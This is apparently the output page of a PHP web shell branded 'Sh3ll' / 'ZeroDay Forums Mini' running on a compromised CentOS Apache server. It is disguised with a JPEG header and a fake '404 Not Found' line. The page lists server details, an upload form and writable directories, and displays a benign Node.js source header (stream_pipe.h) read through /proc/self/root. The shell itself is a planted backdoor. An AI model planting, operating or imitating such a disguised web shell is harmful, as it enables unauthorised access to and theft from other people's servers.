����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/home/real/node-v13.0.1/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/home/real/node-v13.0.1/src/stream_pipe.h
#ifndef SRC_STREAM_PIPE_H_
#define SRC_STREAM_PIPE_H_

#if defined(NODE_WANT_INTERNALS) && NODE_WANT_INTERNALS

#include "stream_base.h"

namespace node {

class StreamPipe : public AsyncWrap {
 public:
  StreamPipe(StreamBase* source, StreamBase* sink, v8::Local<v8::Object> obj);
  ~StreamPipe() override;

  void Unpipe();

  static void New(const v8::FunctionCallbackInfo<v8::Value>& args);
  static void Start(const v8::FunctionCallbackInfo<v8::Value>& args);
  static void Unpipe(const v8::FunctionCallbackInfo<v8::Value>& args);

  SET_NO_MEMORY_INFO()
  SET_MEMORY_INFO_NAME(StreamPipe)
  SET_SELF_SIZE(StreamPipe)

 private:
  inline StreamBase* source();
  inline StreamBase* sink();

  inline void ShutdownWritable();

  bool is_reading_ = false;
  bool is_writing_ = false;
  bool is_eof_ = false;
  bool is_closed_ = true;
  bool sink_destroyed_ = false;
  bool source_destroyed_ = false;

  // Set a default value so that when we’re coming from Start(), we know
  // that we don’t want to read just yet.
  // This will likely need to be changed when supporting streams without
  // `OnStreamWantsWrite()` support.
  size_t wanted_data_ = 0;

  void ProcessData(size_t nread, AllocatedBuffer&& buf);

  class ReadableListener : public StreamListener {
   public:
    uv_buf_t OnStreamAlloc(size_t suggested_size) override;
    void OnStreamRead(ssize_t nread, const uv_buf_t& buf) override;
    void OnStreamDestroy() override;
  };

  class WritableListener : public StreamListener {
   public:
    uv_buf_t OnStreamAlloc(size_t suggested_size) override;
    void OnStreamRead(ssize_t nread, const uv_buf_t& buf) override;
    void OnStreamAfterWrite(WriteWrap* w, int status) override;
    void OnStreamAfterShutdown(ShutdownWrap* w, int status) override;
    void OnStreamWantsWrite(size_t suggested_size) override;
    void OnStreamDestroy() override;
  };

  ReadableListener readable_listener_;
  WritableListener writable_listener_;
};

}  // namespace node

#endif

#endif  // SRC_STREAM_PIPE_H_

ZeroDay Forums Mini